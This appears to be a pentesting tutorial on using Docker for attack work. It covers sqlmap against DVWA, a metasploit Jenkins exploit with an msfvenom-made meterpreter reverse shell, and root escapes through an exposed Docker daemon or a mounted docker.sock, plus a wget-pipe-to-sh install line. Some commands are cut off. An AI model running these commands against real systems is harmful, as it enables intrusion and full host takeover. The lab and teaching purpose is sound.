Create a custom Kali container

Begin by cloning into the official repository:

git clone

Now let’s modify the Dockerfile to include packages that we want:

FROM kalilinux/kali-linux-docker

RUN echo "deb kali-rolling main contrib non-free" > /etc/apt/sources.list && \
echo "deb-src kali-rolling main contrib non-free" >> /etc/apt/sources.list
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get -y update && apt-get -y dist-upgrade && \
apt-get -y install metasploit-framework \
     vim \
     nfs-common \
     cifs-utils \
     snmp \
     x11-apps \
     imagemagick \
&& apt-get clean

Keep adding packages under imagemagick as you see fit, or remove any that you’re not particularly interested in.

When you’re ready, go ahead and create an image:

docker build -t kali .

Persistent data across containers

If you’ve been using Docker, you’ll notice that your data doesn’t persist across containers. This can be problematic if you’re running pentesting tools and want to keep the data around for later analysis and eventually report writing.

Let’s fix this by creating a volume container:

docker create -v /tmp --name kali-datacontainer ubuntu

Once this is done, you can start a kali instance using this volume:

docker run -t -i --volumes-from kali-datacontainer kali

Once you’re in the instance, go ahead and create a test file in your volume:

touch /tmp/neatfile.txt

Exit the instance, and create another kali instance (see above docker run command). You’ll find your /tmp/neatfile.txt on this instance, along with any other data you’ve added to the /tmp folder.

Clean all old docker containers that have exited

As you run more and more containers, you’ll find that whenever you run

docker ps -a

you’ll be presented with a lot of clutter. Go ahead and create this alias to make your life easier:

alias cleanseDocker="docker ps -a | grep Exit | cut -d ' ' -f 1 | xargs docker rm"


DVWA is a great practice scenario:

docker run -d -p 80:80 citizenstig/dvwa

You can find the running instance at http://localhost/login.php

Docker SQLmap

It’s nice to have a little SQLmap action in your life whenever a SQLi presents itself. Why not throw it into a docker container and alias it?

Before you do this, let’s be sure that we have the sqlmap directory in our home directory so we can save the results:

if [ ! -d "$HOME/.sqlmap" ]; then
   mkdir $HOME/.sqlmap

Run the container:

docker run --rm -it -v ~/.sqlmap:/home/user/.sqlmap k0st/alpine-sqlmap

Alias it:

alias sqlmap="docker run --rm -it -v ~/.sqlmap:/home/user/.sqlmap k0st/alpine-sqlmap"

Run a test against DVWA:

sqlmap -u "http://<dvwa site>/vulnerabilities/sqli/?id=&Submit=Submit" --cookie="PHPSESSID=<cookie>; security=low" --dbms=MYSQL -p id --dbs
  • Very important: If you’re attacking the DVWA container from above, be sure you use your actual host system ip and don’t point it at localhost. This simply won’t work due to the nature of how Docker works. Think about it.

If you want to pass an input file into your SQLMap container, you’ll want to start it like so:

docker run --rm -it -v ~/.sqlmap:/home/user/.sqlmap k0st/alpine-sqlmap -r /path/to/input/filename.hed

Here’s an example that you can fire against DVWA once you’ve created a .hed file from the request against the DVWA SQLi page, intercepted by a proxy like Burpsuite:

docker run --rm -it -v ~/.sqlmap:/home/user/.sqlmap k0st/alpine-sqlmap -r /path/to/file/filename.hed --dbms=MYSQL -p id --dbs

Msfconsole Docker container

If you simply want an msfconsole container, you can now get it from the official metasploit repository. Be sure to clone into it from your home directory.

Alias it:

alias msfconsole="cd ~/metasploit-framework/docker && docker-compose run --rm --service-ports ms"

You can also get msfvenom running as well:

alias msfvenom="cd ~/metasploit-framework/docker && docker-compose run --rm ms ./msfvenom"

Attacking a vulnerable Jenkins container using the msfconsole container

Stand up a Jenkins container:

docker run -p 8080:8080 -p 50000:50000 jenkins

Visit the web UI and configure it properly (or improperly, depending on how you look at it).

Start msfconsole and use the exploit/multi/http/jenkins_script_console module like so:

Module options (exploit/multi/http/jenkins_script_console):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   password         no        The password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      <local mach ip>  yes       The target address
   RPORT      8080             yes       The target port (TCP)
   SRVHOST          yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The path to the Jenkins-CI application
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   admin            no        The username to authenticate as
   VHOST                       no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LHOST         <local mach ip>  yes       The listen address
   LPORT         4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   Linux

Note that the local mach ip should be the IP address for the machine hosting the container.

Create a listener.rc file on your host with the following contents:

use multi/handler
set payload python/meterpreter/reverse_tcp
set LPORT 4444
exploit -j -z

Next, copy it to your running msfconsole container:

docker cp listener.rc <msfconsole container>:/tmp

or you can put it in your $HOME/.msf4/modules folder, since this is automatically shared with the msfconsole container.

Once it’s in the msfconsole container, run it with either resource /tmp/listener.rc or resource /root/.msf4/modules/listener.rc depending on which method you used to get the resource file in there.

We should have a listener going at this point. Excellent. Now we use msfvenom to create some evil python:

msfvenom -p python/meterpreter_reverse_tcp LHOST=<local mach ip> LPORT=4444 x >

Note that the local mach ip should be the IP address for the machine hosting the container.

Copy the evil python to our Jenkins container and pretend you did something cool (like taking advantage of the groovy console) to get it on there:

docker cp <jenkins container>:/var/jenkins_home

Once that’s done, grab a shell session to the jenkins container:

docker exec -it <jenkins container> /bin/bash

and run the python code:

cd /var/jenkins_home && python

This should successfully initiate a metasploit session with the msfconsole container.


Exposed Docker Daemon via TCP

If you find port 2375 open on a system, that means that someone probably ran a command like this one:

docker run -it --name=please_do_not_do_this -H tcp:// ubuntu

Which means that you can try to run arbitrary docker commands:

docker -H tcp://<ip of target>:2375 <docker command>

For example, to list the containers on that system:

docker -H tcp://<ip of target>:2375 ps -a

To connect to an existing container:

docker -H tcp://<ip of target>:2375 exec -it <target container> /bin/bash

To create and run a container with the host’s root volume mounted:

docker -H tcp://<ip of target>:2375 run --rm -it -v /:/host ubuntu:latest chroot
/host /bin/bash

To avoid having to load up a new image (assuming ubuntu:latest isn’t already installed), use docker -H tcp://<ip of target>:2375 image ls to find an existing image to use.

Docker Daemon exposed to other containers

Even if the docker daemon is only exposed to other other containers, you can still take advantage of it if you compromise a container.

This vulnerability is introduced by running a command like this one:

docker run -it --name=really_freaking_vulnerable_ubuntu -v /var/run/docker.sock:/var/run/docker.sock

To test it:

# Check if you have write access:
ls -lart /var/run/docker.sock
srw-rw---- 1 root root 0 May  6 05:25 /var/run/docker.sock

Install docker:

# Ubuntu or Debian
apt update && apt install -y wget && wget -qO- | sh

Once that’s installed, find an image to use with docker images, or use something simple like ubuntu:latest: docker run -it -v /:/host <docker image to use> chroot /host /bin/bash

Alternatively, you can use the docker socket to avoid installing docker:

# Get images
curl --unix-socket /var/run/docker.sock http://docker/images/json
# Get containers
curl --unix-socket /var/run/docker.sock http://docker/containers/json

Proof of concept for exploitation:

However, this will still need to be done as the root user.


Find secrets in images

Run this to get output from the original Dockerfile:

docker history --no-trunc <image name>

You can check the output for secrets that were in it.